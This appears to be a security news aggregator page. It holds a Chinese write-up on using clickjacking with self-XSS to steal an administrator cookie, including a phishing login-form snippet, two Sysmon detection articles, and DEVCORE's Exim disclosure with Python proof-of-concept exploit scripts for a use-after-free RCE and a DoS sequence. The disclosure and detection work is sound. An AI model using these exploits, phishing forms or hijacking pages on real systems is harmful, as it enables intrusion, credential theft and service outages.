Aggregator
网络安全技术(3)网络安全隔离技术
鸡肋点搭配ClickJacking攻击-获取管理员权限
有一段时间没做测试了,偶尔的时候也会去挖挖洞。本文章要写的东西是我利用ClickJacking拿下管理员权限的测试过程。但在说明过程之前,先带大家了解一下ClickJacking的基本原理以及简单的漏洞挖掘。
ClickJackingClickJacking背景说明:
ClickJacking(点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在2008年首创的。 ClickJacking是一种视觉欺骗攻击手段,在web端就是iframe嵌套一个透明不可见的页面,让用户在不知情(被欺骗)的情况下,点击攻击者想要欺骗用户点击的位置。
说道视觉欺骗,相信有炫技经验的朋友们一定会想到,自己一个后台拿不下Webshell权限的时候,而想要黑掉首页从而达到炫技,使用的是什么呢?没错一般使用CSS样式表来劫持首页以造成黑掉的假象~
<table style="left: 0px; top: 0px; position: fixed;z-index: 5000;position:absolute;width:100%;height:300%;background-color: black;"><tbody><tr><td style="color:#FFFFFF;z-index: 6000;vertical-align:top;"><h1>hacked by key</h1></td></tr></tbody></table>除了可以炫技,CSS劫持可以做的东西也有很多:例如经典的form表单钓鱼攻击
<table+style="left:+0px;+top:+0px;+position:+fixed;z-index:+5000;position:absolute;width:100%;background-color:white;"><tr><td><form action="http://192.168.0.109/login.php" method="post">账号:<input type="text" name="name"><br>密码:<input type="password" name="pwd"><br><input type="submit" value="登陆"></form><td></tr></table>这里就不对代码的意思进行解读了,可以看到CSS劫持达到的视觉欺骗攻击效果还是比较LOW的,因为这样的攻击手段偏被动式。而我要说的点击劫持其实也算是被动式,不过相对来说比较容易获得信任让被动式触发,这里只是单单对攻击手法谁的成功率比较高作为比较
前面背景介绍的时候说了,点击劫持攻击其实就是镶嵌一个iframe框架(存在点击劫持漏洞的页面)在页面上,然后再把其修改为透明的样式。这样的操作只是造成了视觉欺骗,还没达到欺骗点击的效果,所以就需要知道iframe框架其按钮的位置,然后在基于透明层模拟一个位置大小相同的按钮,发给用户让其点击~~
这里以QQ安全中心的一个点击劫持为例,作为一个QQ的资深用户应该知道QQ是有安全中心紧急冻结QQ服务的,只要登录自己的安全中心就可以冻结,地址(漏洞地址,目前漏洞已经修复)为:https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985
一点击,你的QQ就被会冻结(当时不知道逗了多少人~),那这样怎么利用呢?
1.建立iframe框架:
<iframe id="frame" src="https://aq.qq.com/cn2/message_center/wireless/wireless_seal_auth?source_id=2985"></iframe>2.建立iframe的CSS样式:
#frame { border: 0px; /*边框属性为0*/ height: 100%; /*框架高度100%*/ width: 100%; /*框架宽度100%*/ /*控制不透明度的属性,兼容各大浏览器*/ filter: alpha(Opacity=0); /*提供给IE浏览器8之前的*/ -moz-opacity: 0; /*提供给火狐浏览器的*/ -webkit-opacity: 0; /*提供给webkit内核的*/ -khtml-opacity: 0; /*提供给KHTML内核的*/ -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; /*提供给IE8之后的*/ opacity: 0; /*控制不透明度的属性,兼容各大浏览器*/ }3.获取iframe框架引用的原页面的按钮位置和大小:
大小直接通过审查元素可以看得到:
现在要获取的就是按钮元素到浏览器顶部的距离,这里通过id.offsetTop有些时候是无法直接获取的:
>>span_verify.offsetTop ←16
获取到的是16~很醉,所以使用如下的方法直接获取:
document.getElementById('span_verify').getBoundingClientRect().top4.建立按钮:
<input type="button" class="button" value="Click" />5.根据第三步骤获取到的建立按钮样式:
.button { position: fixed; width: 100%; height: 42px; margin: 0 auto; left: 0; right: 0; display: block; top: 278px; }6.散播,用户中招:
一次点击劫持攻击案例说了这么多,在前几天的测试中我是如何拿到管理员权限呢?挖掘到一处self-xss,这里先说明下self-xss可以理解为只能攻击myself~
发现流程:
发现输入框->秉着见框就X的原理插入XSS Payload->弹框->发现成功
然而获取到的URL链接是/?keyword=<script>alert(1)</script>,但是不是xss,keyword的值显示在输入框内,需要你再点击搜索标题按钮才可以触发漏洞。
形成的攻击思路->iframe嵌套漏洞URL链接->Click Jacking攻击页面构造->通过留言给管理员引诱触发
攻击页面构造流程其实耐心读到这里的朋友已经是非常明确步骤了:
建立iframe框架->建立iframe框架CSS样式->获取按钮位置大小->建立按钮->建立按钮CSS样式->留言板留言外网攻击链接->获取管理员Cookie->Cookie伪造进入后台
结尾一次很有意思的实践,让自己满满的成就感,同时也完成了项目任务~
New Zealand concerned at North Korean cyber activity
Cyber threat analysis from a range of sources, including the United States and the United Kingdom, attributes WannaCry to North Korean cyber threat actors
业务逻辑测试的一些思考与实践
Risky Business: Understand Your Assets and Align Security with the Business
Sysmon Event IDs 1, 6, 7 Report All the Binary Code Executing on Your Network
Computers do what they are told whether good or bad. One of the best ways to detect intrusions is to recognize when computers are following bad instructions – whether in binary form or in some higher-level scripting language. We’ll talk about scripting in the future but in this article, I want to focus on monitoring execution of binaries in the form of EXEs, DLLs and device drivers.
The Windows Security Log isn’t very strong in this area. Event ID 4688 tells you when a process is started and provides the name of the EXE – in current versions of Windows you thankfully get the full path – in older versions you only got the file name itself. But even full pathname isn’t enough. This is because that’s just the name of the file; the name doesn’t say anything about the contents of the file. And that’s what matters because when we see that c:\windows\notepad.exe ran how do we know if that was really the innocent notepad.exe that comes from Microsoft? It could be a completely different program altogether replaced by an intruder, or more in more sophisticated attacks, a modified version of notepad.exe that looks and behaves like notepad but also executes other malicious code.
Instead of just the name of the file we really need a hash of its contents. A hash is a relatively short, finite length mathematical digest of the bit stream of the file. Change one or more bits of the file and you get a different hash. (Alert readers will recognize that couldn’t really be true always – but in terms of probabilistic certainty it’s more than good enough to be considered true.)
Unfortunately, the Security Log doesn’t record the hash of EXEs in Event ID 4688, and even if it did, that would only catch EXEs – what about DLLs and device drivers? The internal security teams at Microsoft recognized this need gap as well as some which apparently led to Mark Russinovich, et al, to write Sysmon. Sysmon is a small and efficient program you install on all endpoints which generates a number of important security events “missing” from the Windows Security Log. In particular, sysmon logs:
- Event Id 1 - for process creation (i.e. an EXE was started)
- Event Id 6 – driver loaded
- Event Id 7 – imaged loaded (i.e. an DLL was loaded)
Together these 3 events created a complete audit record of every binary file loaded (and likely executed) on a system where sysmon is installed.
But, in addition to covering DLLs and drivers, these events also provide the hash of the file contents at the time it was loaded. For instance, the event below shows that Chrome.exe was executed and tells us that the SHA 256-bit hash was 6055A20CF7EC81843310AD37700FF67B2CF8CDE3DCE68D54BA42934177C10B57.
Process Create:
UtcTime: 2017-04-28 22:08:22.025
ProcessGuid: {a23eae89-bd56-5903-0000-0010e9d95e00}
ProcessId: 6228
Image: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
CommandLine: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --lang=en-US --no-sandbox --service- request-channel-token=F47498BBA884E523FA93E623C4569B94 --mojo-platform-channel-handle=3432 /prefetch:8
CurrentDirectory: C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\
User: LAB\rsmith
LogonGuid: {a23eae89-b357-5903-0000-002005eb0700}
LogonId: 0x7EB05
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA256=6055A20CF7EC81843310AD37700FF67B2CF8CDE3DCE68D54BA42934177C10B57
ParentProcessGuid: {a23eae89-bd28-5903-0000-00102f345d00}
ParentProcessId: 13220
ParentImage: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
ParentCommandLine: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
Now, assuming we have the ability to analyze and remember hashes, we can detect whenever a new binary runs on our network.
Sysmon allows you to create include and exclude rules to control which binaries are logged and which hashes are computed based on an xml configuration file you supply sysmon at installation time or any time after with the /c command. Sysmon is easy to install remotely using Scheduled Tasks in Group Policy’s Preferences section. In our environment we store our sysmon.xml file centrally and have our systems periodically reapply that configuration file in case it changes. Of course, be sure to carefully control permissions where you store that configuration file.
Just because you see a new hash – doesn’t necessarily mean that you’ve been hacked. Windows systems are constantly updated with Microsoft and 3rd party patches. One of the best ways to distinguish between legitimate patches and malicious file replacements is if you can regularly whitelist known programs from a systems patched early – such as patch testing systems.
Once sysmon is installed you need to collect the Sysmon event log from each endpoint and then analyze those events – detecting new software. EventTracker is a great technology for accomplishing both of these tasks.
“This article by Randy Smith was originally published by EventTracker” https://www.eventtracker.com/newsletters/report-all-the-binary-code-executing-on-your-network-with-sysmon-event-ids/
Yet Another Ransomware Can That Can be Immediately Detected with Process Tracking on Workstations
As I write this yet another ransomware attack is underway. This time it’s called Petya and it again uses SMB to spread but here’s the thing. It uses an EXE to get its work done. That’s important because there are countless ways to infect systems, with old ones being patched and new ones being discovered all the time. And you definitely want to reduce your attack surface by disabling/uninstalling unneeded features. And you want to patch systems as soon as possible.
Those are preventive controls and they are irreplaceable in terms of defense in depth. But no layer of defense is ever a silver bullet. Patching and surface area management will never stop everything.
So we need an effective detective control that tells us as soon as something like Petya gets past our frontline preventive layers of defense. The cool thing is you can do that using nothing more than the Windows security log – or even better – Sysmon. Event ID 4688, activated by enabling Audit Process Creation for success, is a Security log event produced every time and EXE loads as a new process.
If we simply keep a running baseline of known EXE names and compare each 4688 against that list, BAM!, you’ll know as soon as something new like Petya’s EXE’s run on your network. Of course you need to be collecting 4688s from your workstations and your SIEM needs to be able to do this kind of constant learning whitelist analysis. And you are going to get events when you install new software or patch old software. But only when new EXE names show up.
The only problem with using 4688 is it’s based on EXE name (including path). Bad guys can – but don’t usually bother to use replace known EXEs to stay below the radar. That would defeat the above scheme. So what can you do? Implement Sysmon which logs the hash of each EXE. Sysmon is a free element of Microsoft Sysinternals written by Mark Russonovich and friends. Sysmon event ID 1 (shown below) is logged the same time as 4688 (if you have both process creation auditing and Sysmon configured) but it also proves the hash of the EXE. So even if the attacker does replace a known EXE, the hash will difference, and your comparison against known hashes will fail – thus detecting a new EXE executing for the first time in your environment.
Log Name: Microsoft-Windows-Sysmon/Operational
Source: Microsoft-Windows-Sysmon
Date: 4/28/2017 3:08:22 PM
Event ID: 1
Task Category: Process Create (rule: ProcessCreate)
Level: Information
Keywords:
User: SYSTEM
Computer: rfsH.lab.local
Description:
Process Create:
UtcTime: 2017-04-28 22:08:22.025
ProcessGuid: {a23eae89-bd56-5903-0000-0010e9d95e00}
ProcessId: 6228
Image: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
CommandLine: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --lang=en-US --no-sandbox --service-request-channel-token=F47498BBA884E523FA93E623C4569B94 --mojo-platform-channel-handle=3432 /prefetch:8
CurrentDirectory: C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\
User: LAB\rsmith
LogonGuid: {a23eae89-b357-5903-0000-002005eb0700}
LogonId: 0x7EB05
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA256=6055A20CF7EC81843310AD37700FF67B2CF8CDE3DCE68D54BA42934177C10B57
ParentProcessGuid: {a23eae89-bd28-5903-0000-00102f345d00}
ParentProcessId: 13220
ParentImage: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
ParentCommandLine: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe"
Tracking by hash will generate more false positives because anytime a known EXE is updated by the vendor, the first time the new version runs, a new hash will be generated and trip a new alarm or entry on your dashboard. But this tells you that patches are rolling out and confirms that your detection is working. And you are only notified the first time the EXE runs provided you automatically add new hashes to your whitelist.
Whether you track new EXEs in your environment by name using the Security Log or by hash using Sysmon – do it! New process tracking is one of those highly effective, reliable and long lived, strategic controls that will alert you against other attacks that rely on EXE still beyond the horizon.
“This article by Randy Smith was originally published by EventTracker” https://www.eventtracker.com/newsletters/yet-another-ransomware-that-can-be-immediately-detected-with-process-tracking-on-workstations/
Zealot: New Apache Struts Campaign Uses EternalBlue and EternalSynergy to Mine Monero on Internal Networks
GCSB's systems and processes found to be legally compliant for the 3rd year in a row
The Credential Crisis: It’s Really Happening
DNS-Based Threats: DNS Reflection and Amplification Attacks
The Domain Name System (DNS), if not properly secured, may be susceptible to abuse by malicious actors. Cybercriminals recognize the value of DNS availability and look for ways to compromise DNS uptime and the DNS servers that support it. As such, DNS becomes an important point of security enforcement and a potential point in the […]
The post DNS-Based Threats: DNS Reflection and Amplification Attacks appeared first on Verisign Blog.
To Protect Your Network, You Must First Know Your Network
linux-tracing-workshop-part 3
December 2017 security update release
December 2017 security update release
fastjson 反序列化漏洞 POC 分析
Road to Exim RCE - Abusing Unsafe Memory Allocator in the Most Popular MTA
On 23 November, 2017, we reported two vulnerabilities to Exim. These bugs exist in the SMTP daemon and attackers do not need to be authenticated, including CVE-2017-16943 for a use-after-free (UAF) vulnerability, which leads to Remote Code Execution (RCE); and CVE-2017-16944 for a Denial-of-Service (DoS) vulnerability.
About EximExim is a message transfer agent (MTA) used on Unix systems. Exim is an open source project and is the default MTA on Debian GNU/Linux systems. According to our survey, there are about 600k SMTP servers running exim on 21st November, 2017 (data collected from scans.io). Also, a mail server survey by E-Soft Inc. shows over half of the mail servers identified are running exim.
Affected- Exim version 4.88 & 4.89 with chunking option enabled.
- According to our survey, about 150k servers affected on 21st November, 2017 (data collected from scans.io).
Through our research, the following vulnerabilies were discovered in Exim. Both vulnerabilies involve in BDAT command. BDAT is an extension in SMTP protocol, which is used to transfer large and binary data. A BDAT command is like BDAT 1024 or BDAT 1024 LAST. With the SIZE and LAST declared, mail servers do not need to scan for the end dot anymore. This command was introduced to exim in version 4.88, and also brought some bugs.
- Use-after-free in receive_msg leads to RCE (CVE-2017-16943)
- Incorrect BDAT data handling leads to DoS (CVE-2017-16944)
To explain this bug, we need to start with the memory management of exim. There is a series of functions starts with store_ such as store_get, store_release, store_reset. These functions are used to manage dynamically allocated memory and improve performance. Its architecture is like the illustration below:
Initially, exim allocates a big storeblock (default 0x2000) and then cut it into stores when store_get is called, using global pointers to record the size of unused memory and where to cut in next allocation. Once the current_block is insufficient, it allocates a new block and appends it to the end of the chain, which is a linked list, and then makes current_block point to it. Exim maintains three store_pool, that is, there are three chains like the illustration above and every global variables are actually arrays. This vulnerability is in receive_msg where exim reads headers: receive.c: 1817 receive_msg
if (ptr >= header_size - 4) { int oldsize = header_size; /* header_size += 256; */ header_size *= 2; if (!store_extend(next->text, oldsize, header_size)) { uschar *newtext = store_get(header_size); memcpy(newtext, next->text, ptr); store_release(next->text); next->text = newtext; } }It seems normal if the store functions are just like realloc, malloc and free. However, they are different and cannot be used in this way. When exim tries to extend store, the function store_extend checks whether the old store is the latest store allocated in current_block. It returns False immediately if the check is failed. store.c: 276 store_extend
if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize) return FALSE;Once store_extend fails, exim tries to get a new store and release the old one. After we look into store_get and store_release, we found that store_get returns a store, but store_release releases a block if the store is at the head of it. That is to say, if next->text points to the start the current_block and store_get cuts store inside it for newtext, then store_release(next->text) frees next->text, which is equal to current_block, and leaves newtext and current_block pointing to a freed memory area. Any further usage of these pointers leads to a use-after-free vulnerability. To trigger this bug, we need to make exim call store_get after next->text is allocated. This was impossible until BDAT command was introduced into exim. BDAT makes store_get reachable and finally leads to an RCE. Exim uses function pointers to switch between different input sources, such as receive_getc, receive_getbuf. When receiving BDAT data, receive_getc is set to bdat_getc in order to check left chunking data size and to handle following command of BDAT. In receive_msg, exim also uses receive_getc. It loops to read data, and stores data into next->text, extends if insufficient. receive.c: 1817 receive_msg
for (;;) { int ch = (receive_getc)(GETC_BUFFER_UNLIMITED); /* If we hit EOF on a SMTP connection, it's an error, since incoming SMTP must have a correct "." terminator. */ if (ch == EOF && smtp_input /* && !smtp_batched_input */) { smtp_reply = handle_lost_connection(US" (header)"); smtp_yield = FALSE; goto TIDYUP; /* Skip to end of function */ }In bdat_getc, once the SIZE is reached, it tries to read the next BDAT command and raises error message if the following command is incorrect. smtp_in.c: 628 bdat_getc
case BDAT_CMD: { int n; if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1) { (void) synprot_error(L_smtp_protocol_error, 501, NULL, US"missing size for BDAT command"); return ERR; }In exim, it usually calls synprot_error to raise error message, which also logs at the same time. smtp_in.c: 628 bdat_getc
static int synprot_error(int type, int code, uschar *data, uschar *errmess) { int yield = -1; log_write(type, LOG_MAIN, "SMTP %s error in \"%s\" %s %s", (type == L_smtp_syntax_error)? "syntax" : "protocol", string_printing(smtp_cmd_buffer), host_and_ident(TRUE), errmess);The log messages are printed by string_printing. This function ensures a string is printable. For this reason, it extends the string to transfer characters if any unprintable character exists, such as '\n'->'\\n'. Therefore, it asks store_get for memory to store strings. This store makes if (!store_extend(next->text, oldsize, header_size)) in receive_msg failed when next extension occurs and then triggers use-after-free.
ExploitationThe following is the Proof-of-Concept(PoC) python script of this vulnerability. This PoC controls the control flow of SMTP server and sets instruction pointer to 0xdeadbeef. For fuzzing issue, we did change the runtime configuration of exim. As a result, this PoC works only when dkim is enabled. We use it as an example because the situation is less complicated. The version with default configuration is also exploitable, and we will discuss it at the end of this section.
# CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools from pwn import * r = remote('127.0.0.1', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<[email protected]>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x1250+'\x7f') r.recvuntil('command') r.sendline('BDAT 1') r.sendline(':BDAT \x7f') s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) r.send(s+ ':\r\n') r.recvuntil('command') r.send('\n') r.interactive()- Running out of current_block In order to achieve code execution, we need to make the next->text get the first store of a block. That is, running out of current_block and making store_get allocate a new block. Therefore, we send a long message 'a'*0x1250+'\x7f' with an unprintable character to cut current_block, making yield_length less than 0x100.
- Starts BDAT data transfer After that, we send BDAT command to start data transfer. At the beginning, next and next->text are allocated by store_get. The function dkim_exim_verify_init is called sequentially and it also calls store_get. Notice that this function uses ANOTHER store_pool, so it allocates from heap without changing current_block which next->text also points to. receive.c: 1734 receive_msg if (smtp_input && !smtp_batched_input && !dkim_disable_verify) dkim_exim_verify_init(chunking_state <= CHUNKING_OFFERED);
- Call store_getc inside bdat_getc Then, we send a BDAT command without SIZE. Exim complains about the incorrect command and cuts the current_block with store_get in string_printing.
- Keep sending msg until extension and bug triggered In this way, while we keep sending huge messages, current_block gets freed after the extension. In the malloc.c of glibc (so called ptmalloc2), system manages a linked list of freed memory chunks, which is called unsorted bin. Freed chunks are put into unsorted bin if it is not the last chunk on the heap. In step 2, dkim_exim_verify_init allocated chunks after next->text. Therefore, this chunk is put into unsorted bin and the pointers of linked list are stored into the first 16 bytes of chunk (on x86-64). The location written is exactly current_block->next, and therefore current_block->next is overwritten to unsorted bin inside main_arena of libc (linked list pointer fd points back to unsorted bin if no other freed chunk exists).
- Keep sending msg for the next extension When the next extension occurs, store_get tries to cut from main_arena, which makes attackers able to overwrite all global variables below main_arena.
- Overwrite global variables in libc
- Finish sending message and trigger free() In the PoC, we simply modified __free_hook and ended the line. Exim calls store_reset to reset the buffer and calls __free_hook in free(). At this stage, we successfully controlled instruction pointer $rip. However, this is not enough for an RCE because the arguments are uncontrollable. As a result, we improved this PoC to modify both __free_hook and _IO_2_1_stdout_. We forged the vtable of stdout and set __free_hook to any call of fflush(stdout) inside exim. When the program calls fflush, it sets the first argument to stdout and jumps to a function pointer on the vtable of stdout. Hence, we can control both $rip and the content of first argument. We consulted past CVE exploits and decided to call expand_string, which executes command with execv if we set the first argument to ${run{cmd}}, and finally we got our RCE.
When dkim is disabled, the PoC above fails because current_block is the last chunk on heap. This makes the system merge it into a big chunk called top chunk rather than unsorted bin. The illustrations below describe the difference of heap layout:
To avoid this, we need to make exim allocate and free some memories before we actually start our exploitation. Therefore, we add some steps between step 1 and step 2.
After running out of current_block:
- Use DATA command to send lots of data Send huge data, make the chunk big and extend many times. After several extension, it calls store_get to retrieve a bigger store and then releases the old one. This repeats many times if the data is long enough. Therefore, we have a big chunk in unsorted bin.
- End DATA transfer and start a new email Restart to send an email with BDAT command after the heap chunk is prepared.
- Adjust yield_length again Send invalid command with an unprintable charater again to cut the current_block.
Finally the heap layout is like:
And now we can go back to the step 2 at the beginning and create the same situation. When next->text is freed, it goes back to unsorted bin and we are able to overwrite libc global variables again. The following is the PoC for default configured exim:
# CVE-2017-16943 PoC by meh at DEVCORE # pip install pwntools from pwn import * r = remote('localhost', 25) r.recvline() r.sendline("EHLO test") r.recvuntil("250 HELP") r.sendline("MAIL FROM:<>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x1280+'\x7f') r.recvuntil('command') r.sendline('DATA') r.recvuntil('itself\r\n') r.sendline('b'*0x4000+':\r\n') r.sendline('.\r\n') r.sendline('.\r\n') r.recvline() r.sendline("MAIL FROM:<>") r.recvline() r.sendline("RCPT TO:<[email protected]>") r.recvline() r.sendline('a'*0x3480+'\x7f') r.recvuntil('command') r.sendline('BDAT 1') r.sendline(':BDAT \x7f') s = 'a'*6 + p64(0xdeadbeef)*(0x1e00/8) r.send(s+ ':\r\n') r.send('\n') r.interactive()A demo of our exploit is as below. Note that we have not found a way to leak memory address and therefore we use heap spray instead. It requires another information leakage vulnerability to overcome the PIE mitigation on x86-64.
Incorrect BDAT data handling leads to DoS Vulnerability AnalysisWhen receiving data with BDAT command, SMTP server should not consider a single dot ‘.’ in a line to be the end of message. However, we found exim does in receive_msg when parsing header. Like the following output:
220 devco.re ESMTP Exim 4.90devstart_213-7c6ec81-XX Mon, 27 Nov 2017 16:58:20 +0800 EHLO test 250-devco.re Hello root at test 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN CRAM-MD5 250-CHUNKING 250-STARTTLS 250-PRDR 250 HELP MAIL FROM:<[email protected]> 250 OK RCPT TO:<[email protected]> 250 Accepted BDAT 10 . 250- 10 byte chunk, total 0 250 OK id=1eJFGW-000CB0-1RAs we mentioned before, exim uses function pointers to switch input source. This bug makes exim go into an incorrect state because the function pointer receive_getc is not reset. If the next command is also a BDAT, receive_getc and lwr_receive_getc become the same and an infinite loop occurs inside bdat_getc. Program crashes due to stack exhaustion. smtp_in.c: 546 bdat_getc
if (chunking_data_left > 0) return lwr_receive_getc(chunking_data_left--);This is not enough to pose a threat because exim runs a fork server. After a further analysis, we made exim go into an infinite loop without crashing, using the following commands.
# CVE-2017-16944 PoC by meh at DEVCORE EHLO localhost MAIL FROM:<[email protected]> RCPT TO:<[email protected]> BDAT 100 . MAIL FROM:<[email protected]> RCPT TO:<[email protected]> BDAT 0 LASTThis makes attackers able to launch a resource based DoS attack and then force the whole server down.
Fix- Turn off Chunking option in config file: chunking_advertise_hosts =
- Update to 4.89.1 version
- Patch of CVE-2017-16943 released here
- Patch of CVE-2017-16944 released here
- 23 November, 2017 09:40 Report to Exim Bugzilla
- 25 November, 2017 16:27 CVE-2017-16943 Patch released
- 28 November, 2017 16:27 CVE-2017-16944 Patch released
- 3 December, 2017 13:15 Send an advisory release notification to Exim and wait for reply until now
While we were trying to report these bugs to exim, we could not find any method for security report. Therefore, we followed the link on the official site for bug report and found the security option. Unexpectedly, the Bugzilla posts all bugs publicly and therefore the PoC was leaked. Exim team responded rapidly and improved their security report process by adding a notification for security reports in reaction to this.
CreditsVulnerabilities found by Meh, DEVCORE research team. meh [at] devco [dot] re
Referencehttps://bugs.exim.org/show_bug.cgi?id=2199 https://bugs.exim.org/show_bug.cgi?id=2201 https://nvd.nist.gov/vuln/detail/CVE-2017-16943 https://nvd.nist.gov/vuln/detail/CVE-2017-16944 https://lists.exim.org/lurker/message/20171125.034842.d1d75cac.en.html
Exim RCE 資安通報 (CVE-2017-16943)
2017/11/23 我們發現 Unix 的開源軟體 EXIM 含有 Use-After-Free 弱點(CVE-2017-16943)以及 Denial-of-Service 弱點(CVE-2017-16944),當 EXIM 版本是 4.88 或 4.89 並且有開啟 chunking 選項(BDAT 指令)時,攻擊者可傳送特定字串給 EXIM 觸發弱點,可能造成郵件伺服器被遠端攻擊者入侵或是郵件伺服器無法繼續提供服務。
根據 E-Soft Inc. 在 11 月所做的調查,約有 57萬台(56%)的郵件伺服器使用 EXIM 軟體。建議 EXIM 的使用者檢查版本是否為 4.88 或 4.89,若是,則需修改 EXIM 的設定,將 chunking 選項關閉(在 config 裡將 chunking_advertise_hosts 選項留空),或是更新至 4.89.1 版,以避免遭受攻擊。
細節詳細的技術細節請參閱我們的 Advisory: https://devco.re/blog/2017/12/11/Exim-RCE-advisory-CVE-2017-16943-en/